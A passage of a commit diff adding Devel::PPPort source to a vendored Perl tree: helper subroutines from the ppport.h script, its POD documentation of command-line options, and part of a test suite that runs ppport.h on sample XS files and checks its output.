+    return ($1, $2, $3);
+  }
+  elsif ($ver !~ /^\d+\.[\d_]+$/) {
+    die "cannot parse version '$ver'\n";
+  }
+
+  $ver =~ s/_//g;
+  $ver =~ s/$/000000/;
+
+  my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+  $v = int $v;
+  $s = int $s;
+
+  if ($r < 5 || ($r == 5 && $v < 6)) {
+    if ($s % 10) {
+      die "cannot parse version '$ver'\n";
+    }
+  }
+
+  return ($r, $v, $s);
+}
+
+sub format_version
+{
+  my $ver = shift;
+
+  $ver =~ s/$/000000/;
+  my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+  $v = int $v;
+  $s = int $s;
+
+  if ($r < 5 || ($r == 5 && $v < 6)) {
+    if ($s % 10) {
+      die "invalid version '$ver'\n";
+    }
+    $s /= 10;
+
+    $ver = sprintf "%d.%03d", $r, $v;
+    $s > 0 and $ver .= sprintf "_%02d", $s;
+
+    return $ver;
+  }
+
+  return sprintf "%d.%d.%d", $r, $v, $s;
+}
+
+sub info
+{
+  $opt{quiet} and return;
+  print @_, "\n";
+}
+
+sub diag
+{
+  $opt{quiet} and return;
+  $opt{diag} and print @_, "\n";
+}
+
+sub warning
+{
+  $opt{quiet} and return;
+  print "*** ", @_, "\n";
+}
+
+sub error
+{
+  print "*** ERROR: ", @_, "\n";
+}
+
+my %given_hints;
+my %given_warnings;
+sub hint
+{
+  $opt{quiet} and return;
+  my $func = shift;
+  my $rv = 0;
+  if (exists $warnings{$func} && !$given_warnings{$func}++) {
+    my $warn = $warnings{$func};
+    $warn =~ s!^!*** !mg;
+    print "*** WARNING: $func\n", $warn;
+    $rv++;
+  }
+  if ($opt{hints} && exists $hints{$func} && !$given_hints{$func}++) {
+    my $hint = $hints{$func};
+    $hint =~ s/^/   /mg;
+    print "   --- hint for $func ---\n", $hint;
+  }
+  $rv;
+}
+
+sub usage
+{
+  my($usage) = do { local(@ARGV,$/)=($0); <> } =~ /^=head\d$HS+SYNOPSIS\s*^(.*?)\s*^=/ms;
+  my %M = ( 'I' => '*' );
+  $usage =~ s/^\s*perl\s+\S+/$^X $0/;
+  $usage =~ s/([A-Z])<([^>]+)>/$M{$1}$2$M{$1}/g;
+
+  print <<ENDUSAGE;
+
+Usage: $usage
+
+See perldoc $0 for details.
+
+ENDUSAGE
+
+  exit 2;
+}
+
+sub strip
+{
+  my $self = do { local(@ARGV,$/)=($0); <> };
+  my($copy) = $self =~ /^=head\d\s+COPYRIGHT\s*^(.*?)^=\w+/ms;
+  $copy =~ s/^(?=\S+)/    /gms;
+  $self =~ s/^$HS+Do NOT edit.*?(?=^-)/$copy/ms;
+  $self =~ s/^SKIP.*(?=^__DATA__)/SKIP
+if (\@ARGV && \$ARGV[0] eq '--unstrip') {
+  eval { require Devel::PPPort };
+  \$@ and die "Cannot require Devel::PPPort, please install.\\n";
+  if (eval \$Devel::PPPort::VERSION < $VERSION) {
+    die "$0 was originally generated with Devel::PPPort $VERSION.\\n"
+      . "Your Devel::PPPort is only version \$Devel::PPPort::VERSION.\\n"
+      . "Please install a newer version, or --unstrip will not work.\\n";
+  }
+  Devel::PPPort::WriteFile(\$0);
+  exit 0;
+}
+print <<END;
+
+Sorry, but this is a stripped version of \$0.
+
+To be able to use its original script and doc functionality,
+please try to regenerate this file using:
+
+  \$^X \$0 --unstrip
+
+END
+/ms;
+  my($pl, $c) = $self =~ /(.*^__DATA__)(.*)/ms;
+  $c =~ s{
+    / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]*)
+  | ( "[^"\\]*(?:\\.[^"\\]*)*"
+    | '[^'\\]*(?:\\.[^'\\]*)*' )
+  | ($HS+) }{ defined $2 ? ' ' : ($1 || '') }gsex;
+  $c =~ s!\s+$!!mg;
+  $c =~ s!^$LF!!mg;
+  $c =~ s!^\s*#\s*!#!mg;
+  $c =~ s!^\s+!!mg;
+
+  open OUT, ">$0" or die "cannot strip $0: $!\n";
+  print OUT "$pl$c\n";
+
+  exit 0;
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphdoc
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphdoc	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphdoc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,346 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+=dontwarn
+
+NEED_function
+NEED_function_GLOBAL
+NEED_variable
+NEED_variable_GLOBAL
+DPPP_NAMESPACE
+
+=implementation
+
+=pod
+
+=head1 NAME
+
+ppport.h - Perl/Pollution/Portability version __VERSION__
+
+=head1 SYNOPSIS
+
+  perl ppport.h [options] [source files]
+
+  Searches current directory for files if no [source files] are given
+
+  --help                      show short help
+
+  --version                   show version
+
+  --patch=file                write one patch file with changes
+  --copy=suffix               write changed copies with suffix
+  --diff=program              use diff program and options
+
+  --compat-version=version    provide compatibility with Perl version
+  --cplusplus                 accept C++ comments
+
+  --quiet                     don't output anything except fatal errors
+  --nodiag                    don't show diagnostics
+  --nohints                   don't show hints
+  --nochanges                 don't suggest changes
+  --nofilter                  don't filter input files
+
+  --strip                     strip all script and doc functionality
+                              from ppport.h
+
+  --list-provided             list provided API
+  --list-unsupported          list unsupported API
+  --api-info=name             show Perl API portability information
+
+=head1 COMPATIBILITY
+
+This version of F<ppport.h> is designed to support operation with Perl
+installations back to __MIN_PERL__, and has been tested up to __MAX_PERL__.
+
+=head1 OPTIONS
+
+=head2 --help
+
+Display a brief usage summary.
+
+=head2 --version
+
+Display the version of F<ppport.h>.
+
+=head2 --patch=I<file>
+
+If this option is given, a single patch file will be created if
+any changes are suggested. This requires a working diff program
+to be installed on your system.
+
+=head2 --copy=I<suffix>
+
+If this option is given, a copy of each file will be saved with
+the given suffix that contains the suggested changes. This does
+not require any external programs. Note that this does not
+automagically add a dot between the original filename and the
+suffix. If you want the dot, you have to include it in the option
+argument.
+
+If neither C<--patch> or C<--copy> are given, the default is to
+simply print the diffs for each file. This requires either
+C<Text::Diff> or a C<diff> program to be installed.
+
+=head2 --diff=I<program>
+
+Manually set the diff program and options to use. The default
+is to use C<Text::Diff>, when installed, and output unified
+context diffs.
+
+=head2 --compat-version=I<version>
+
+Tell F<ppport.h> to check for compatibility with the given
+Perl version. The default is to check for compatibility with Perl
+version __MIN_PERL__. You can use this option to reduce the output
+of F<ppport.h> if you intend to be backward compatible only
+down to a certain Perl version.
+
+=head2 --cplusplus
+
+Usually, F<ppport.h> will detect C++ style comments and
+replace them with C style comments for portability reasons.
+Using this option instructs F<ppport.h> to leave C++
+comments untouched.
+
+=head2 --quiet
+
+Be quiet. Don't print anything except fatal errors.
+
+=head2 --nodiag
+
+Don't output any diagnostic messages. Only portability
+alerts will be printed.
+
+=head2 --nohints
+
+Don't output any hints. Hints often contain useful portability
+notes. Warnings will still be displayed.
+
+=head2 --nochanges
+
+Don't suggest any changes. Only give diagnostic output and hints
+unless these are also deactivated.
+
+=head2 --nofilter
+
+Don't filter the list of input files. By default, files not looking
+like source code (i.e. not *.xs, *.c, *.cc, *.cpp or *.h) are skipped.
+
+=head2 --strip
+
+Strip all script and documentation functionality from F<ppport.h>.
+This reduces the size of F<ppport.h> dramatically and may be useful
+if you want to include F<ppport.h> in smaller modules without
+increasing their distribution size too much.
+
+The stripped F<ppport.h> will have a C<--unstrip> option that allows
+you to undo the stripping, but only if an appropriate C<Devel::PPPort>
+module is installed.
+
+=head2 --list-provided
+
+Lists the API elements for which compatibility is provided by
+F<ppport.h>. Also lists if it must be explicitly requested,
+if it has dependencies, and if there are hints or warnings for it.
+
+=head2 --list-unsupported
+
+Lists the API elements that are known not to be supported by
+F<ppport.h> and below which version of Perl they probably
+won't be available or work.
+
+=head2 --api-info=I<name>
+
+Show portability information for API elements matching I<name>.
+If I<name> is surrounded by slashes, it is interpreted as a regular
+expression.
+
+=head1 DESCRIPTION
+
+In order for a Perl extension (XS) module to be as portable as possible
+across differing versions of Perl itself, certain steps need to be taken.
+
+=over 4
+
+=item *
+
+Including this header is the first major one. This alone will give you
+access to a large part of the Perl API that hasn't been available in
+earlier Perl releases. Use
+
+    perl ppport.h --list-provided
+
+to see which API elements are provided by ppport.h.
+
+=item *
+
+You should avoid using deprecated parts of the API. For example, using
+global Perl variables without the C<PL_> prefix is deprecated. Also,
+some API functions used to have a C<perl_> prefix. Using this form is
+also deprecated. You can safely use the supported API, as F<ppport.h>
+will provide wrappers for older Perl versions.
+
+=item *
+
+If you use one of a few functions or variables that were not present in
+earlier versions of Perl, and that can't be provided using a macro, you
+have to explicitly request support for these functions by adding one or
+more C<#define>s in your source code before the inclusion of F<ppport.h>.
+
+These functions or variables will be marked C<explicit> in the list shown
+by C<--list-provided>.
+
+Depending on whether you module has a single or multiple files that
+use such functions or variables, you want either C<static> or global
+variants.
+
+For a C<static> function or variable (used only in a single source
+file), use:
+
+    #define NEED_function
+    #define NEED_variable
+
+For a global function or variable (used in multiple source files),
+use:
+
+    #define NEED_function_GLOBAL
+    #define NEED_variable_GLOBAL
+
+Note that you mustn't have more than one global request for the
+same function or variable in your project.
+
+    __EXPLICIT_API__
+
+To avoid namespace conflicts, you can change the namespace of the
+explicitly exported functions / variables using the C<DPPP_NAMESPACE>
+macro. Just C<#define> the macro before including C<ppport.h>:
+
+    #define DPPP_NAMESPACE MyOwnNamespace_
+    #include "ppport.h"
+
+The default namespace is C<DPPP_>.
+
+=back
+
+The good thing is that most of the above can be checked by running
+F<ppport.h> on your source code. See the next section for
+details.
+
+=head1 EXAMPLES
+
+To verify whether F<ppport.h> is needed for your module, whether you
+should make any changes to your code, and whether any special defines
+should be used, F<ppport.h> can be run as a Perl script to check your
+source code. Simply say:
+
+    perl ppport.h
+
+The result will usually be a list of patches suggesting changes
+that should at least be acceptable, if not necessarily the most
+efficient solution, or a fix for all possible problems.
+
+If you know that your XS module uses features only available in
+newer Perl releases, if you're aware that it uses C++ comments,
+and if you want all suggestions as a single patch file, you could
+use something like this:
+
+    perl ppport.h --compat-version=5.6.0 --cplusplus --patch=test.diff
+
+If you only want your code to be scanned without any suggestions
+for changes, use:
+
+    perl ppport.h --nochanges
+
+You can specify a different C<diff> program or options, using
+the C<--diff> option:
+
+    perl ppport.h --diff='diff -C 10'
+
+This would output context diffs with 10 lines of context.
+
+If you want to create patched copies of your files instead, use:
+
+    perl ppport.h --copy=.new
+
+To display portability information for the C<newSVpvn> function,
+use:
+
+    perl ppport.h --api-info=newSVpvn
+
+Since the argument to C<--api-info> can be a regular expression,
+you can use
+
+    perl ppport.h --api-info=/_nomg$/
+
+to display portability information for all C<_nomg> functions or
+
+    perl ppport.h --api-info=/./
+
+to display information for all known API elements.
+
+=head1 BUGS
+
+If this version of F<ppport.h> is causing failure during
+the compilation of this module, please check if newer versions
+of either this module or C<Devel::PPPort> are available on CPAN
+before sending a bug report.
+
+If F<ppport.h> was generated using the latest version of
+C<Devel::PPPort> and is causing failure of this module, please
+send a bug report to L<perlbug at perl.org|mailto:perlbug at perl.org>.
+
+Please include the following information:
+
+=over 4
+
+=item 1.
+
+The complete output from running "perl -V"
+
+=item 2.
+
+This file.
+
+=item 3.
+
+The name and version of the module you were trying to build.
+
+=item 4.
+
+A full log of the build that failed.
+
+=item 5.
+
+Any other information that you think could be relevant.
+
+=back
+
+For the latest version of this code, please get the C<Devel::PPPort>
+module from CPAN.
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort>.
+
+=cut

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphtest
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphtest	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphtest	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,909 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=tests plan => 238
+
+BEGIN {
+  if ($ENV{'SKIP_SLOW_TESTS'}) {
+    for (1 .. 238) {
+      skip("skip: SKIP_SLOW_TESTS", 0);
+    }
+    exit 0;
+  }
+}
+
+use File::Path qw/rmtree mkpath/;
+use Config;
+
+my $tmp = 'ppptmp';
+my $inc = '';
+my $isVMS = $^O eq 'VMS';
+my $isMAC = $^O eq 'MacOS';
+my $perl = find_perl();
+
+rmtree($tmp) if -d $tmp;
+mkpath($tmp) or die "mkpath $tmp: $!\n";
+chdir($tmp) or die "chdir $tmp: $!\n";
+
+if ($ENV{'PERL_CORE'}) {
+  if (-d '../../lib') {
+    if ($isVMS) {
+      $inc = '"-I../../lib"';
+    }
+    elsif ($isMAC) {
+      $inc = '-I:::lib';
+    }
+    else {
+      $inc = '-I../../lib';
+    }
+    unshift @INC, '../../lib';
+  }
+}
+if ($perl =~ m!^\./!) {
+  $perl = ".$perl";
+}
+
+END {
+  chdir('..') if !-d $tmp && -d "../$tmp";
+  rmtree($tmp) if -d $tmp;
+}
+
+ok(&Devel::PPPort::WriteFile("ppport.h"));
+
+# Check GetFileContents()
+ok(-e "ppport.h", 1);
+
+my $data;
+
+open(F, "<ppport.h") or die "Failed to open ppport.h: $!";
+while(<F>) {
+  $data .= $_;
+}
+close(F);
+
+ok(Devel::PPPort::GetFileContents("ppport.h"), $data);
+ok(Devel::PPPort::GetFileContents(), $data);
+
+sub comment
+{
+  my $c = shift;
+  $c =~ s/^/# | /mg;
+  $c .= "\n" unless $c =~ /[\r\n]$/;
+  print $c;
+}
+
+sub ppport
+{
+  my @args = ('ppport.h', @_);
+  unshift @args, $inc if $inc;
+  my $run = $perl =~ m/\s/ ? qq("$perl") : $perl;
+  $run .= ' -MMac::err=unix' if $isMAC;
+  for (@args) {
+    $_ = qq("$_") if $isVMS && /^[^"]/;
+    $run .= " $_";
+  }
+  print "# *** running $run ***\n";
+  $run .= ' 2>&1' unless $isMAC;
+  my @out = `$run`;
+  my $out = join '', @out;
+  comment($out);
+  return wantarray ? @out : $out;
+}
+
+sub matches
+{
+  my($str, $re, $mod) = @_;
+  my @n;
+  eval "\@n = \$str =~ /$re/g$mod;";
+  if ($@) {
+    my $err = $@;
+    $err =~ s/^/# *** /mg;
+    print "# *** ERROR ***\n$err\n";
+  }
+  return $@ ? -42 : scalar @n;
+}
+
+sub eq_files
+{
+  my($f1, $f2) = @_;
+  return 0 unless -e $f1 && -e $f2;
+  local *F;
+  for ($f1, $f2) {
+    print "# File: $_\n";
+    unless (open F, $_) {
+      print "# couldn't open $_: $!\n";
+      return 0;
+    }
+    $_ = do { local $/; <F> };
+    close F;
+    comment($_);
+  }
+  return $f1 eq $f2;
+}
+
+my @tests;
+
+for (split /\s*={70,}\s*/, do { local $/; <DATA> }) {
+  s/^\s+//; s/\s+$//;
+  my($c, %f);
+  ($c, @f{m/-{20,}\s+(\S+)\s+-{20,}/g}) = split /\s*-{20,}\s+\S+\s+-{20,}\s*/;
+  push @tests, { code => $c, files => \%f };
+}
+
+my $t;
+for $t (@tests) {
+  print "#\n", ('# ', '-'x70, "\n")x3, "#\n";
+  my $f;
+  for $f (keys %{$t->{files}}) {
+    my @f = split /\//, $f;
+    if (@f > 1) {
+      pop @f;
+      my $path = join '/', @f;
+      mkpath($path) or die "mkpath('$path'): $!\n";
+    }
+    my $txt = $t->{files}{$f};
+    local *F;
+    open F, ">$f" or die "open $f: $!\n";
+    print F "$txt\n";
+    close F;
+    $txt =~ s/^/# | /mg;
+    print "# *** writing $f ***\n$txt\n";
+  }
+
+  my $code = $t->{code};
+  $code =~ s/^/# | /mg;
+
+  print "# *** evaluating test code ***\n$code\n";
+
+  eval $t->{code};
+  if ($@) {
+    my $err = $@;
+    $err =~ s/^/# *** /mg;
+    print "# *** ERROR ***\n$err\n";
+  }
+  ok($@, '');
+
+  for (keys %{$t->{files}}) {
+    unlink $_ or die "unlink('$_'): $!\n";
+  }
+}
+
+sub find_perl
+{
+  my $perl = $^X;
+
+  return $perl if $isVMS;
+
+  my $exe = $Config{'_exe'} || '';
+
+  if ($perl =~ /^perl\Q$exe\E$/i) {
+    $perl = "perl$exe";
+    eval "require File::Spec";
+    if ($@) {
+      $perl = "./$perl";
+    } else {
+      $perl = File::Spec->catfile(File::Spec->curdir(), $perl);
+    }
+  }
+
+  if ($perl !~ /\Q$exe\E$/i) {
+    $perl .= $exe;
+  }
+
+  warn "find_perl: cannot find $perl from $^X" unless -f $perl;
+
+  return $perl;
+}
+
+__DATA__
+
+my $o = ppport(qw(--help));
+ok($o =~ /^Usage:.*ppport\.h/m);
+ok($o =~ /--help/m);
+
+$o = ppport(qw(--version));
+ok($o =~ /^This is.*ppport.*\d+\.\d+(?:_?\d+)?\.$/);
+
+$o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*test\.xs/mi);
+ok($o =~ /Analyzing.*test\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+ok($o =~ /Uses Perl_newSViv instead of newSViv/);
+
+$o = ppport(qw(--quiet --nochanges));
+ok($o =~ /^\s*$/);
+
+---------------------------- test.xs ------------------------------------------
+
+Perl_newSViv();
+
+===============================================================================
+
+# check if C and C++ comments are filtered correctly
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o =~ /Uses 1 C\+\+ style comment/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+# check if C++ are left untouched with --cplusplus
+
+$o = ppport(qw(--copy=b --cplusplus));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o !~ /Uses \d+ C\+\+ style comment/m);
+ok(eq_files('MyExt.xsb', 'MyExt.rb'));
+
+unlink qw(MyExt.xsa MyExt.xsb);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+newSVuv();
+    // newSVpv();
+  XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+    /* newSVpv(); */
+  XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.rb -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+    // newSVpv();
+  XPUSHs(foo);
+/* grok_bin(); */
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o =~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o !~ /^Uses newCONSTSUB/m);
+ok($o !~ /^Uses PL_expect/m);
+ok($o !~ /^Uses SvPV_nolen/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --quiet file1.xs));
+ok($o =~ /^\s*$/);
+
+$o = ppport(qw(--nochanges file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o !~ /^Uses mXPUSHp/m);
+ok($o !~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --quiet file2.xs));
+ok($o =~ /^\s*$/);
+
+---------------------------- file1.xs -----------------------------------------
+
+#define NEED_newCONSTSUB
+#define NEED_sv_2pv_flags
+#define NEED_PL_parser
+#include "ppport.h"
+
+newCONSTSUB();
+SvPV_nolen();
+PL_expect = 0;
+
+---------------------------- file2.xs -----------------------------------------
+
+mXPUSHp(foo);
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*FooBar\.xs/mi);
+ok($o =~ /Analyzing.*FooBar\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^Uses grok_bin/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+newSViv();
+XPUSHs(foo);
+grok_bin();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*First\.xs/mi);
+ok($o =~ /Analyzing.*First\.xs/mi);
+ok($o =~ /^Scanning.*second\.h/mi);
+ok($o =~ /Analyzing.*second\.h/mi);
+ok($o =~ /^Scanning.*sub.*third\.c/mi);
+ok($o =~ /Analyzing.*sub.*third\.c/mi);
+ok($o !~ /^Scanning.*foobar/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+
+---------------------------- First.xs -----------------------------------------
+
+one
+
+---------------------------- foobar.xyz ---------------------------------------
+
+two
+
+---------------------------- second.h -----------------------------------------
+
+three
+
+---------------------------- sub/third.c --------------------------------------
+
+four
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Possibly wrong #define NEED_foobar in.*test.xs/i);
+
+---------------------------- test.xs ------------------------------------------
+
+#define NEED_foobar
+
+===============================================================================
+
+# And now some complex "real-world" example
+
+my $o = ppport(qw(--copy=f));
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c mod5.c)) {
+  ok($o =~ /^Scanning.*\Q$_\E/mi);
+  ok($o =~ /Analyzing.*\Q$_\E/i);
+}
+ok(matches($o, '^Scanning', 'm'), 6);
+
+ok(matches($o, '^Writing copy of', 'm'), 5);
+ok(!-e "mod5.cf");
+
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c)) {
+  ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+  ok(-e "${_}f");
+  ok(eq_files("${_}f", "${_}r"));
+  unlink "${_}f";
+}
+
+---------------------------- main.xs ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_newCONSTSUB
+#define NEED_grok_hex_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+Perl_grok_bin(aTHX_ foo, bar);
+
+/* some comment */
+
+perl_eval_pv();
+grok_bin();
+Perl_grok_bin(bar, sv_no);
+
+---------------------------- mod1.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#define NEED_newCONSTSUB
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+  Perl_croak ("foo");
+  Perl_sv_catpvf();  /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv
+#include "ppport.h"
+
+newSViv();
+
+/*
+   eval_pv();
+*/
+
+---------------------------- mod3.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+START_MY_CXT;
+
+---------------------------- mod5.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#include "ppport.h"
+call_pv();
+
+---------------------------- main.xsr -----------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv_GLOBAL
+#define NEED_grok_hex
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_sv_2pv_flags_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+grok_bin(foo, bar);
+
+/* some comment */
+
+eval_pv();
+grok_bin();
+grok_bin(bar, PL_sv_no);
+
+---------------------------- mod1.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+  Perl_croak (aTHX_ "foo");
+  Perl_sv_catpvf(aTHX);  /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+
+newSViv();
+
+/*
+   eval_pv();
+*/
+
+---------------------------- mod3.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#define NEED_grok_oct
+#include "ppport.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#include "ppport.h"
+
+START_MY_CXT;
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses grok_hex/m);
+ok($o !~ /Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0));
+ok($o !~ /Uses grok_hex/m);
+ok($o =~ /Looks good/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+grok_hex();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.5.3));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.005_03));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.6.0));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.006));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.999));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=6.0.0));
+ok($o =~ /Only Perl 5 is supported/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.1000.999));
+ok($o =~ /Invalid version number: 5.1000.999/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.1000));
+ok($o =~ /Invalid version number: 5.999.1000/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+SvPVutf8_force();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o !~ /potentially required change/);
+ok(matches($o, '^Looks good', 'm'), 2);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+#define NEED_grok_numeric_radix
+#define NEED_grok_number
+#include "ppport.h"
+
+GROK_NUMERIC_RADIX();
+grok_number();
+
+---------------------------- foo.c --------------------------------------------
+
+#include "ppport.h"
+
+call_pv();
+
+===============================================================================
+
+# check --api-info option
+
